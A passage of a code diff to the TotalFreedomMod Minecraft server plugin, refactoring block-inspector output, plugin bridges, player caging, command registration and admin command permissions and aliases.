+                            paged.add(ChatColor.GRAY + getTimeAgo(result.getTime(), time) + ChatColor.WHITE + " - " + net.md_5.bungee.api.ChatColor.of("#30ade4") +
+                                    st + result.getPlayer() + ChatColor.WHITE + st + s + net.md_5.bungee.api.ChatColor.of("#30ade4") + st + bl.getMaterial().toString().toLowerCase());
+                        }
+
+                        List<String> page = paged.getPage(1);
+                        for (String entries : page)
+                        {
+                            player.sendMessage(entries);
+                        }
+
+                        player.sendMessage("Page 1/" + paged.getPageCount() + " | To index through the pages, type " + net.md_5.bungee.api.ChatColor.of("#30ade4") + "/ins history <page>");
+                    }
+                }
+            }
+            else if (event.getAction() == Action.RIGHT_CLICK_BLOCK)
+            {
+                if (block != null)
+                {
+                    BlockState blockState = block.getRelative(event.getBlockFace()).getState();
+                    Block placedBlock = blockState.getBlock();
+                    event.setCancelled(true);
+                    List<String[]> lookup = coreProtect.blockLookup(placedBlock, -1);
+
+                    if (lookup.isEmpty())
+                    {
+                        lookup = coreProtect.blockLookup(block, -1);
+                    }
+
+                    if (!plugin.al.isAdmin(player))
+                    {
+                        cooldown.put(player.getName(), System.currentTimeMillis());
+                    }
+
+                    if (lookup != null)
+                    {
+                        if (lookup.isEmpty())
+                        {
+                            player.sendMessage(net.md_5.bungee.api.ChatColor.of("#30ade4") + "Block Inspector " + ChatColor.WHITE + "- " + "No block data found for this location");
+                            return;
+                        }
+
+                        HISTORY_MAP.remove(event.getPlayer());
+                        HISTORY_MAP.put(event.getPlayer(), new FUtil.PaginationList<>(10));
+                        FUtil.PaginationList<String> paged = HISTORY_MAP.get(event.getPlayer());
+
+                        player.sendMessage("---- " + net.md_5.bungee.api.ChatColor.of("#30ade4") + "Block Inspector" + ChatColor.WHITE + " ---- " +
+                                ChatColor.GRAY + "(x" + block.getX() + "/" + "y" + block.getY() + "/" + "z" + block.getZ() + ")");
+
+                        for (String[] value : lookup)
+                        {
+                            CoreProtectAPI.ParseResult result = coreProtect.parseResult(value);
+                            BlockData bl = result.getBlockData();
+
+                            String s;
+                            String st = "";
+
+                            if (result.getActionString().equals("Placement"))
+                            {
+                                s = " placed ";
+                            }
+                            else if (result.getActionString().equals("Removal"))
+                            {
+                                s = " broke ";
+                            }
+                            else
+                            {
+                                s = " interacted with ";
+                            }
+
+                            if (result.isRolledBack())
+                            {
+                                st += "§m";
+                            }
+
+                            int time = (int)(System.currentTimeMillis() / 1000L);
+
+                            paged.add(ChatColor.GRAY + getTimeAgo(result.getTime(), time) + ChatColor.WHITE + " - " + net.md_5.bungee.api.ChatColor.of("#30ade4") +
+                                    st + result.getPlayer() + ChatColor.WHITE + st + s + net.md_5.bungee.api.ChatColor.of("#30ade4") + st + bl.getMaterial().toString().toLowerCase());
+                        }
+
+                        List<String> page = paged.getPage(1);
+                        for (String entries : page)
+                        {
+                            player.sendMessage(entries);
+                        }
+
+                        player.sendMessage("Page 1/" + paged.getPageCount() + " | To index through the pages, type " + net.md_5.bungee.api.ChatColor.of("#30ade4") + "/ins history <page>");
+                    }
+                }
+            }
+        }
+    }
 }

src/main/java/me/totalfreedom/totalfreedommod/bridge/EssentialsBridge.java

@@ -3,7 +3,6 @@ package me.totalfreedom.totalfreedommod.bridge;
 import com.earth2me.essentials.Essentials;
 import com.earth2me.essentials.User;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.player.FPlayer;
 import me.totalfreedom.totalfreedommod.rank.Rank;
 import me.totalfreedom.totalfreedommod.util.FLog;
@@ -26,18 +25,13 @@ public class EssentialsBridge extends FreedomService
 
     private Essentials essentialsPlugin = null;
 
-    public EssentialsBridge(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -48,7 +42,8 @@ public class EssentialsBridge extends FreedomService
             try
             {
                 final Plugin essentials = server.getPluginManager().getPlugin("Essentials");
-                if (essentials != null && essentials instanceof Essentials)
+                assert essentials != null;
+                if (essentials instanceof Essentials)
                 {
                     essentialsPlugin = (Essentials)essentials;
                 }
@@ -119,7 +114,8 @@ public class EssentialsBridge extends FreedomService
             User user = getEssentialsUser(username);
             if (user != null)
             {
-                return FUtil.getField(user, "lastActivity");
+                Long l = FUtil.getField(user, "lastActivity");
+                return (l != null) ? l : 0L;
             }
         }
         catch (Exception ex)
@@ -156,7 +152,7 @@ public class EssentialsBridge extends FreedomService
         if (inventoryType == InventoryType.PLAYER && fPlayer.isInvSee())
         {
             final InventoryHolder inventoryHolder = inventory.getHolder();
-            if (inventoryHolder != null && inventoryHolder instanceof HumanEntity)
+            if (inventoryHolder instanceof HumanEntity)
             {
                 Player invOwner = (Player)inventoryHolder;
                 Rank recieverRank = plugin.rm.getRank(player);
@@ -209,6 +205,7 @@ public class EssentialsBridge extends FreedomService
         }
     }
 
+    // TODO: Actually use this for something or remove it.
     @EventHandler(priority = EventPriority.MONITOR)
     public void onPlayerQuit(PlayerQuitEvent event)
     {

src/main/java/me/totalfreedom/totalfreedommod/bridge/LibsDisguisesBridge.java

@@ -1,31 +1,24 @@
 package me.totalfreedom.totalfreedommod.bridge;
 
+import me.libraryaddict.disguise.BlockedDisguises;
 import me.libraryaddict.disguise.DisguiseAPI;
 import me.libraryaddict.disguise.LibsDisguises;
-import me.totalfreedom.libsdisguises.BlockedDisguises;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import org.bukkit.entity.Player;
 import org.bukkit.plugin.Plugin;
 
 public class LibsDisguisesBridge extends FreedomService
 {
-
     private LibsDisguises libsDisguisesPlugin = null;
 
-    public LibsDisguisesBridge(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -53,24 +46,7 @@ public class LibsDisguisesBridge extends FreedomService
         return libsDisguisesPlugin;
     }
 
-    public Boolean isDisguised(Player player)
-    {
-        try
-        {
-            final LibsDisguises libsDisguises = getLibsDisguisesPlugin();
-            if (libsDisguises != null)
-            {
-                return DisguiseAPI.isDisguised(player);
-            }
-        }
-        catch (Exception ex)
-        {
-            FLog.severe(ex);
-        }
-        return null;
-    }
-
-    public void undisguiseAll(boolean admins)
+    public void undisguiseAll(boolean admin)
     {
         try
         {
@@ -85,7 +61,7 @@ public class LibsDisguisesBridge extends FreedomService
             {
                 if (DisguiseAPI.isDisguised(player))
                 {
-                    if (!admins && plugin.al.isAdmin(player))
+                    if (!admin && plugin.al.isAdmin(player))
                     {
                         continue;
                     }
@@ -99,6 +75,11 @@ public class LibsDisguisesBridge extends FreedomService
         }
     }
 
+    public boolean isDisguisesEnabled()
+    {
+        return !BlockedDisguises.disabled;
+    }
+
     public void setDisguisesEnabled(boolean state)
     {
         final LibsDisguises libsDisguises = getLibsDisguisesPlugin();
@@ -111,15 +92,10 @@ public class LibsDisguisesBridge extends FreedomService
         BlockedDisguises.disabled = !state;
     }
 
-    public boolean isDisguisesEnabled()
-    {
-        return !BlockedDisguises.disabled;
-    }
-
     public boolean isEnabled()
     {
         final LibsDisguises libsDisguises = getLibsDisguisesPlugin();
 
-        return libsDisguises != null && libsDisguises.isEnabled();
+        return libsDisguises != null;
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/bridge/TFGuildsBridge.java

@@ -0,0 +1,58 @@
+package me.totalfreedom.totalfreedommod.bridge;
+
+import me.totalfreedom.tfguilds.Common;
+import me.totalfreedom.tfguilds.TFGuilds;
+import me.totalfreedom.totalfreedommod.FreedomService;
+import org.bukkit.entity.Player;
+import org.bukkit.plugin.Plugin;
+
+public class TFGuildsBridge extends FreedomService
+{
+    public boolean enabled = false;
+
+    @Override
+    public void onStart()
+    {
+    }
+
+    @Override
+    public void onStop()
+    {
+    }
+
+    public boolean isTFGuildsEnabled()
+    {
+        if (enabled)
+        {
+            return true;
+        }
+
+        try
+        {
+            final Plugin tfGuilds = server.getPluginManager().getPlugin("TFGuilds");
+            if (tfGuilds != null && tfGuilds.isEnabled())
+            {
+                if (tfGuilds instanceof TFGuilds)
+                {
+                    enabled = true;
+                    return true;
+                }
+            }
+        }
+        catch (NoClassDefFoundError ex)
+        {
+            return false;
+        }
+
+        return false;
+    }
+
+    public boolean inGuildChat(Player player)
+    {
+        if (!isTFGuildsEnabled())
+        {
+            return false;
+        }
+        return Common.GUILD_CHAT.contains(player);
+    }
+}

src/main/java/me/totalfreedom/totalfreedommod/bridge/WorldEditBridge.java

@@ -4,7 +4,6 @@ import com.sk89q.worldedit.LocalSession;
 import com.sk89q.worldedit.bukkit.BukkitPlayer;
 import com.sk89q.worldedit.bukkit.WorldEditPlugin;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import org.bukkit.entity.Player;
 import org.bukkit.plugin.Plugin;
@@ -15,18 +14,13 @@ public class WorldEditBridge extends FreedomService
     //
     private WorldEditPlugin worldeditPlugin = null;
 
-    public WorldEditBridge(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -66,8 +60,7 @@ public class WorldEditBridge extends FreedomService
                 {
                     for (int i = 0; i < count; i++)
                     {
-                        com.sk89q.worldedit.entity.Player fuckyou = (com.sk89q.worldedit.entity.Player)bukkitPlayer;
-                        session.undo(session.getBlockBag(fuckyou), fuckyou);
+                        session.undo(session.getBlockBag(bukkitPlayer), bukkitPlayer);
                     }
                 }
             }
@@ -90,8 +83,7 @@ public class WorldEditBridge extends FreedomService
                 {
                     for (int i = 0; i < count; i++)
                     {
-                        com.sk89q.worldedit.entity.Player fuckyou = (com.sk89q.worldedit.entity.Player)bukkitPlayer;
-                        session.redo(session.getBlockBag(fuckyou), fuckyou);
+                        session.redo(session.getBlockBag(bukkitPlayer), bukkitPlayer);
                     }
                 }
             }

src/main/java/me/totalfreedom/totalfreedommod/bridge/WorldGuardBridge.java

@@ -7,27 +7,19 @@ import com.sk89q.worldguard.protection.regions.ProtectedRegion;
 import com.sk89q.worldguard.protection.regions.RegionContainer;
 import java.util.Map;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import org.bukkit.World;
 import org.bukkit.plugin.Plugin;
 
 public class WorldGuardBridge extends FreedomService
 {
-
-    public WorldGuardBridge(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
-        plugin.wr.protectWorld(plugin.wm.hubworld.getWorld());
         plugin.wr.protectWorld(plugin.wm.masterBuilderWorld.getWorld());
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 

src/main/java/me/totalfreedom/totalfreedommod/caging/CageData.java

@@ -2,7 +2,6 @@ package me.totalfreedom.totalfreedommod.caging;
 
 import java.util.ArrayList;
 import java.util.List;
-import lombok.Getter;
 import me.totalfreedom.totalfreedommod.player.FPlayer;
 import org.bukkit.Location;
 import org.bukkit.Material;
@@ -12,141 +11,21 @@ import org.bukkit.block.Skull;
 public class CageData
 {
 
+    private static String input = null;
     private final FPlayer fPlayer;
     //
-    private final List<BlockData> cageHistory = new ArrayList<>();
     //
-    @Getter
+    private final List<BlockData> cageHistory = new ArrayList<>();
     private boolean caged = false;
-    @Getter
     private Location location;
-    @Getter
     private Material outerMaterial = Material.GLASS;
-    @Getter
     private Material innerMaterial = Material.AIR;
-    @Getter
-    private static String input = null;
 
     public CageData(FPlayer player)
     {
         this.fPlayer = player;
     }
 
-    public void setCaged(boolean cage)
-    {
-        if (cage)
-        {
-            cage(fPlayer.getPlayer().getLocation(), Material.GLASS, Material.GLASS);
-        }
-        else
-        {
-            this.caged = false;
-            regenerateHistory();
-            clearHistory();
-        }
-
-    }
-
-    public void cage(Location location, Material outer, Material inner)
-    {
-        if (isCaged())
-        {
-            setCaged(false);
-        }
-
-        this.caged = true;
-        this.location = location;
-        this.outerMaterial = outer;
-        this.innerMaterial = inner;
-        this.input = null;
-
-        buildHistory(location, 2, fPlayer);
-        regenerate();
-    }
-
-    public void cage(Location location, Material outer, Material inner, String input)
-    {
-        if (isCaged())
-        {
-            setCaged(false);
-        }
-
-        this.caged = true;
-        this.location = location;
-        this.outerMaterial = outer;
-        this.innerMaterial = inner;
-        this.input = input;
-
-        buildHistory(location, 2, fPlayer);
-        regenerate();
-    }
-
-    public void regenerate()
-    {
-
-        if (!caged
-                || location == null
-                || outerMaterial == null
-                || innerMaterial == null)
-        {
-            return;
-        }
-
-        generateHollowCube(location, 2, outerMaterial);
-        generateCube(location, 1, innerMaterial);
-    }
-
-    // TODO: EventHandlerize this?
-    public void playerJoin()
-    {
-        if (!isCaged())
-        {
-            return;
-        }
-
-        cage(fPlayer.getPlayer().getLocation(), outerMaterial, innerMaterial, input);
-    }
-
-    public void playerQuit()
-    {
-        regenerateHistory();
-        clearHistory();
-    }
-
-    public void clearHistory()
-    {
-        cageHistory.clear();
-    }
-
-    private void insertHistoryBlock(Location location, Material material)
-    {
-        cageHistory.add(new BlockData(location, material));
-    }
-
-    private void regenerateHistory()
-    {
-        for (BlockData blockdata : this.cageHistory)
-        {
-            blockdata.location.getBlock().setType(blockdata.material);
-        }
-    }
-
-    private void buildHistory(Location location, int length, FPlayer playerdata)
-    {
-        final Block center = location.getBlock();
-        for (int xOffset = -length; xOffset <= length; xOffset++)
-        {
-            for (int yOffset = -length; yOffset <= length; yOffset++)
-            {
-                for (int zOffset = -length; zOffset <= length; zOffset++)
-                {
-                    final Block block = center.getRelative(xOffset, yOffset, zOffset);
-                    insertHistoryBlock(block.getLocation(), block.getType());
-                }
-            }
-        }
-    }
-
     // Util methods
     public static void generateCube(Location location, int length, Material material)
     {
@@ -167,6 +46,7 @@ public class CageData
         }
     }
 
+    @SuppressWarnings("deprecation")
     public static void generateHollowCube(Location location, int length, Material material)
     {
         final Block center = location.getBlock();
@@ -213,7 +93,7 @@ public class CageData
                                 skull.setOwner(input);
                                 skull.update();
                             }
-                            catch (ClassCastException e)
+                            catch (ClassCastException ignored)
                             {
                             }
                         }
@@ -223,6 +103,176 @@ public class CageData
         }
     }
 
+    public static String getInput()
+    {
+        return input;
+    }
+
+    public static void setInput(String input)
+    {
+        CageData.input = input;
+    }
+
+    public void cage(Location location, Material outer, Material inner)
+    {
+        if (isCaged())
+        {
+            setCaged(false);
+        }
+
+        this.caged = true;
+        this.location = location;
+        this.outerMaterial = outer;
+        this.innerMaterial = inner;
+        input = null;
+
+        buildHistory(location);
+        regenerate();
+    }
+
+    public void cage(Location location, Material outer, Material inner, String input)
+    {
+        if (isCaged())
+        {
+            setCaged(false);
+        }
+
+        this.caged = true;
+        this.location = location;
+        this.outerMaterial = outer;
+        this.innerMaterial = inner;
+        CageData.input = input;
+
+        buildHistory(location);
+        regenerate();
+    }
+
+    public void regenerate()
+    {
+
+        if (!caged
+                || location == null
+                || outerMaterial == null
+                || innerMaterial == null)
+        {
+            return;
+        }
+
+        generateHollowCube(location, 2, outerMaterial);
+        generateCube(location, 1, innerMaterial);
+    }
+
+    // TODO: EventHandler this?
+    public void playerJoin()
+    {
+        if (!isCaged())
+        {
+            return;
+        }
+
+        cage(fPlayer.getPlayer().getLocation(), outerMaterial, innerMaterial, input);
+    }
+
+    public void playerQuit()
+    {
+        regenerateHistory();
+        clearHistory();
+    }
+
+    public void clearHistory()
+    {
+        cageHistory.clear();
+    }
+
+    private void insertHistoryBlock(Location location, Material material)
+    {
+        cageHistory.add(new BlockData(location, material));
+    }
+
+    private void regenerateHistory()
+    {
+        for (BlockData blockdata : this.cageHistory)
+        {
+            blockdata.location.getBlock().setType(blockdata.material);
+        }
+    }
+
+    private void buildHistory(Location location)
+    {
+        final Block center = location.getBlock();
+        for (int xOffset = -2; xOffset <= 2; xOffset++)
+        {
+            for (int yOffset = -2; yOffset <= 2; yOffset++)
+            {
+                for (int zOffset = -2; zOffset <= 2; zOffset++)
+                {
+                    final Block block = center.getRelative(xOffset, yOffset, zOffset);
+                    insertHistoryBlock(block.getLocation(), block.getType());
+                }
+            }
+        }
+    }
+
+    public FPlayer getfPlayer()
+    {
+        return fPlayer;
+    }
+
+    public List<BlockData> getCageHistory()
+    {
+        return cageHistory;
+    }
+
+    public boolean isCaged()
+    {
+        return caged;
+    }
+
+    public void setCaged(boolean cage)
+    {
+        if (cage)
+        {
+            cage(fPlayer.getPlayer().getLocation(), Material.GLASS, Material.GLASS);
+        }
+        else
+        {
+            this.caged = false;
+            regenerateHistory();
+            clearHistory();
+        }
+
+    }
+
+    public Location getLocation()
+    {
+        return location;
+    }
+
+    public void setLocation(Location location)
+    {
+        this.location = location;
+    }
+
+    public Material getOuterMaterial()
+    {
+        return outerMaterial;
+    }
+
+    public void setOuterMaterial(Material outerMaterial)
+    {
+        this.outerMaterial = outerMaterial;
+    }
+
+    public Material getInnerMaterial()
+    {
+        return innerMaterial;
+    }
+
+    public void setInnerMaterial(Material innerMaterial)
+    {
+        this.innerMaterial = innerMaterial;
+    }
+
     private static class BlockData
     {
 

src/main/java/me/totalfreedom/totalfreedommod/caging/Cager.java

@@ -1,7 +1,8 @@
 package me.totalfreedom.totalfreedommod.caging;
 
+import io.papermc.lib.PaperLib;
+import java.util.Objects;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.player.FPlayer;
 import me.totalfreedom.totalfreedommod.util.FUtil;
 import org.bukkit.ChatColor;
@@ -17,19 +18,13 @@ import org.bukkit.event.player.PlayerQuitEvent;
 
 public class Cager extends FreedomService
 {
-
-    public Cager(TotalFreedomMod plugin)
-    {
-        super(plugin);
-    }
-
     @Override
-    protected void onStart()
+    public void onStart()
     {
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
@@ -37,8 +32,7 @@ public class Cager extends FreedomService
     public void onBreakBlock(BlockBreakEvent event)
     {
         Player player = event.getPlayer();
-        if (player == null
-                || plugin.al.isAdmin(player))
+        if (plugin.al.isAdmin(player))
         {
             return;
         }
@@ -67,7 +61,7 @@ public class Cager extends FreedomService
         Location cageLoc = cage.getLocation();
 
         final boolean outOfCage;
-        if (!playerLoc.getWorld().equals(cageLoc.getWorld()))
+        if (!Objects.equals(playerLoc.getWorld(), cageLoc.getWorld()))
         {
             outOfCage = true;
         }
@@ -78,7 +72,7 @@ public class Cager extends FreedomService
 
         if (outOfCage)
         {
-            player.getPlayer().teleport(cageLoc.subtract(0, 0.1, 0));
+            PaperLib.teleportAsync(player.getPlayer(), cageLoc.subtract(0, 0.1, 0));
             FUtil.playerMsg(player.getPlayer(), "You may not leave your cage.", ChatColor.RED);
             cage.regenerate();
         }
@@ -119,5 +113,4 @@ public class Cager extends FreedomService
             cage.playerJoin();
         }
     }
-
 }

src/main/java/me/totalfreedom/totalfreedommod/command/CommandLoader.java

@@ -1,45 +1,85 @@
 package me.totalfreedom.totalfreedommod.command;
 
-import lombok.Getter;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Set;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.util.FLog;
-import net.pravian.aero.command.handler.SimpleCommandHandler;
-import org.bukkit.ChatColor;
+import org.reflections.Reflections;
 
 public class CommandLoader extends FreedomService
 {
+    private final List<FreedomCommand> commands;
 
-    @Getter
-    private final SimpleCommandHandler<TotalFreedomMod> handler;
-
-    public CommandLoader(TotalFreedomMod plugin)
+    public CommandLoader()
     {
-        super(plugin);
-
-        handler = new SimpleCommandHandler<>(plugin);
+        commands = new ArrayList<>();
     }
 
     @Override
-    protected void onStart()
+    public void onStart()
     {
-        handler.clearCommands();
-        handler.setExecutorFactory(new FreedomCommandExecutor.FreedomExecutorFactory(plugin));
-        handler.setCommandClassPrefix("Command_");
-        handler.setPermissionMessage(ChatColor.RED + "You do not have permission to use this command.");
-        handler.setOnlyConsoleMessage(ChatColor.RED + "This command can only be used from the console.");
-        handler.setOnlyPlayerMessage(ChatColor.RED + "This command can only be used by players.");
-
-        handler.loadFrom(FreedomCommand.class.getPackage());
-        handler.registerAll(plugin.getDescription().getName(), true);
-
-        FLog.info("Loaded " + handler.getExecutors().size() + " commands.");
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
-        handler.clearCommands();
     }
 
+    public void add(FreedomCommand command)
+    {
+        commands.add(command);
+        command.register();
+    }
+
+    public FreedomCommand getByName(String name)
+    {
+        for (FreedomCommand command : commands)
+        {
+            if (name.equals(command.getName()))
+            {
+                return command;
+            }
+        }
+        return null;
+    }
+
+    public boolean isAlias(String alias)
+    {
+        for (FreedomCommand command : commands)
+        {
+            if (Arrays.asList(command.getAliases().split(",")).contains(alias))
+            {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    public void loadCommands()
+    {
+        Reflections commandDir = new Reflections("me.totalfreedom.totalfreedommod.command");
+
+        Set<Class<? extends FreedomCommand>> commandClasses = commandDir.getSubTypesOf(FreedomCommand.class);
+
+        for (Class<? extends FreedomCommand> commandClass : commandClasses)
+        {
+            try
+            {
+                add(commandClass.newInstance());
+            }
+            catch (InstantiationException | IllegalAccessException | ExceptionInInitializerError ex)
+            {
+                FLog.warning("Failed to register command: /" + commandClass.getSimpleName().replace("Command_", ""));
+            }
+        }
+
+        FLog.info("Loaded " + commands.size() + " commands");
+    }
+
+    public List<FreedomCommand> getCommands()
+    {
+        return commands;
+    }
 }

src/main/java/me/totalfreedom/totalfreedommod/command/CommandPermissions.java

@@ -8,9 +8,9 @@ import me.totalfreedom.totalfreedommod.rank.Rank;
 public @interface CommandPermissions
 {
 
-    Rank level();
+    Rank level() default Rank.NON_OP;
 
-    SourceType source();
+    SourceType source() default SourceType.BOTH;
 
     boolean blockHostConsole() default false;
 

src/main/java/me/totalfreedom/totalfreedommod/command/Command_adminchat.java

@@ -7,11 +7,8 @@ import org.bukkit.command.Command;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 
-@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
-@CommandParameters(
-        description = "Talk privately with other administrators on the server.",
-        usage = "/<command> [message...]",
-        aliases = "o,ac")
+@CommandPermissions(level = Rank.ADMIN, source = SourceType.BOTH)
+@CommandParameters(description = "Talk privately with other admins on the server.", usage = "/<command> [message]", aliases = "o,sc,ac,staffchat")
 public class Command_adminchat extends FreedomCommand
 {
 
@@ -28,13 +25,12 @@ public class Command_adminchat extends FreedomCommand
 
             FPlayer userinfo = plugin.pl.getPlayer(playerSender);
             userinfo.setAdminChat(!userinfo.inAdminChat());
-            msg("Toggled your admin chat " + (userinfo.inAdminChat() ? "on" : "off") + ".");
+            msg("Admin chat turned " + (userinfo.inAdminChat() ? "on" : "off") + ".");
         }
         else
         {
             plugin.cm.adminChat(sender, StringUtils.join(args, " "));
         }
-
         return true;
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_admininfo.java

@@ -11,7 +11,7 @@ import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 
 @CommandPermissions(level = Rank.OP, source = SourceType.BOTH)
-@CommandParameters(description = "Information on how to apply for admin.", usage = "/<command>", aliases = "ai")
+@CommandParameters(description = "Information on how to apply for admin.", usage = "/<command>", aliases = "si,ai,staffinfo")
 public class Command_admininfo extends FreedomCommand
 {
 
@@ -28,7 +28,6 @@ public class Command_admininfo extends FreedomCommand
         {
             msg(FUtil.colorize(StringUtils.join(adminInfo, "\n")));
         }
-
         return true;
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/command/Command_adminmode.java

@@ -10,8 +10,8 @@ import org.bukkit.command.Command;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 
-@CommandPermissions(level = Rank.TELNET_ADMIN, source = SourceType.BOTH)
-@CommandParameters(description = "Denies joining of operators and only allows admins to join.", usage = "/<command> [on | off]")
+@CommandPermissions(level = Rank.ADMIN, source = SourceType.BOTH)
+@CommandParameters(description = "Denies joining of operators and only allows admins to join.", usage = "/<command> [on | off]", aliases = "staffmode")
 public class Command_adminmode extends FreedomCommand
 {
 
@@ -26,13 +26,13 @@ public class Command_adminmode extends FreedomCommand
         if (args[0].equalsIgnoreCase("off"))
         {
             ConfigEntry.ADMIN_ONLY_MODE.setBoolean(false);
-            FUtil.adminAction(sender.getName(), "Opening the server to all players.", true);
+            FUtil.adminAction(sender.getName(), "Opening the server to all players", true);
             return true;
         }
         else if (args[0].equalsIgnoreCase("on"))
         {
             ConfigEntry.ADMIN_ONLY_MODE.setBoolean(true);
-            FUtil.adminAction(sender.getName(), "Closing the server to non-admins.", true);
+            FUtil.adminAction(sender.getName(), "Closing the server to non-admins", true);
             for (Player player : server.getOnlinePlayers())
             {
                 if (!isAdmin(player))

src/main/java/me/totalfreedom/totalfreedommod/command/Command_adminworld.java

@@ -1,11 +1,10 @@
 package me.totalfreedom.totalfreedommod.command;
 
-import java.util.ArrayList;
+import io.papermc.lib.PaperLib;
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.List;
 import me.totalfreedom.totalfreedommod.rank.Rank;
-import me.totalfreedom.totalfreedommod.util.FUtil;
 import me.totalfreedom.totalfreedommod.world.WorldTime;
 import me.totalfreedom.totalfreedommod.world.WorldWeather;
 import org.bukkit.World;
@@ -14,17 +13,12 @@ import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
 
 @CommandPermissions(level = Rank.OP, source = SourceType.BOTH)
-@CommandParameters(description = "Allows for admins to configure guests, time, and weather of the AdminWorld, and allows for admins and guests to go to the AdminWorld.",
-        usage = "/<command> [guest < list | purge | add <player> | remove <player> > | time <morning | noon | evening | night> | weather <off | rain | storm>]",
-        aliases = "aw")
+@CommandParameters(description = "Allows for admins to configure time, and weather of the AdminWorld, and allows for admins and ops to go to the AdminWorld.",
+        usage = "/<command> [time <morning | noon | evening | night> | weather <off | rain | storm>]",
+        aliases = "sw,aw,staffworld")
 public class Command_adminworld extends FreedomCommand
 {
 
-    private enum CommandMode
-    {
-        TELEPORT, GUEST, TIME, WEATHER
-    }
-
     @Override
     public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
     {
@@ -36,11 +30,7 @@ public class Command_adminworld extends FreedomCommand
         }
         else if (args.length >= 2)
         {
-            if ("guest".equalsIgnoreCase(args[0]))
-            {
-                commandMode = CommandMode.GUEST;
-            }
-            else if ("time".equalsIgnoreCase(args[0]))
+            if ("time".equalsIgnoreCase(args[0]))
             {
                 commandMode = CommandMode.TIME;
             }
@@ -63,7 +53,7 @@ public class Command_adminworld extends FreedomCommand
                 {
                     if (!(sender instanceof Player) || playerSender == null)
                     {
-                        return true;
+                        return false;
                     }
 
                     World adminWorld = null;
@@ -71,90 +61,20 @@ public class Command_adminworld extends FreedomCommand
                     {
                         adminWorld = plugin.wm.adminworld.getWorld();
                     }
-                    catch (Exception ex)
+                    catch (Exception ignored)
                     {
                     }
 
                     if (adminWorld == null || playerSender.getWorld() == adminWorld)
                     {
                         msg("Going to the main world.");
-                        playerSender.teleport(server.getWorlds().get(0).getSpawnLocation());
+                        PaperLib.teleportAsync(playerSender, server.getWorlds().get(0).getSpawnLocation());
                     }
                     else
-                    {
-                        if (plugin.wm.adminworld.canAccessWorld(playerSender))
                     {
                         msg("Going to the AdminWorld.");
                         plugin.wm.adminworld.sendToWorld(playerSender);
                     }
-                        else
-                        {
-                            msg("You don't have permission to access the AdminWorld.");
-                        }
-                    }
-
-                    break;
-                }
-                case GUEST:
-                {
-                    if (args.length == 2)
-                    {
-                        if ("list".equalsIgnoreCase(args[1]))
-                        {
-                            msg("AdminWorld guest list: " + plugin.wm.adminworld.guestListToString());
-                        }
-                        else if ("purge".equalsIgnoreCase(args[1]))
-                        {
-                            assertCommandPerms(sender, playerSender);
-                            plugin.wm.adminworld.purgeGuestList();
-                            FUtil.adminAction(sender.getName(), "AdminWorld guest list purged.", false);
-                        }
-                        else
-                        {
-                            return false;
-                        }
-                    }
-                    else if (args.length == 3)
-                    {
-                        assertCommandPerms(sender, playerSender);
-
-                        if ("add".equalsIgnoreCase(args[1]))
-                        {
-                            final Player player = getPlayer(args[2]);
-
-                            if (player == null)
-                            {
-                                sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
-                                return true;
-                            }
-
-                            if (plugin.wm.adminworld.addGuest(player, playerSender))
-                            {
-                                FUtil.adminAction(sender.getName(), "AdminWorld guest added: " + player.getName(), false);
-                            }
-                            else
-                            {
-                                msg("Could not add player to guest list.");
-                            }
-                        }
-                        else if ("remove".equals(args[1]))
-                        {
-                            final Player player = plugin.wm.adminworld.removeGuest(args[2]);
-                            if (player != null)
-                            {
-                                FUtil.adminAction(sender.getName(), "AdminWorld guest removed: " + player.getName(), false);
-                            }
-                            else
-                            {
-                                msg("Can't find guest entry for: " + args[2]);
-                            }
-                        }
-                        else
-                        {
-                            return false;
-                        }
-                    }
-
                     break;
                 }
                 case TIME:
@@ -217,7 +137,7 @@ public class Command_adminworld extends FreedomCommand
             {
                 return noPerms();
             }
-            sender.sendMessage(ex.getMessage());
+            msg(ex.getMessage());
             return true;
         }
 
@@ -233,7 +153,37 @@ public class Command_adminworld extends FreedomCommand
         }
     }
 
-    private class PermissionDeniedException extends Exception
+    @Override
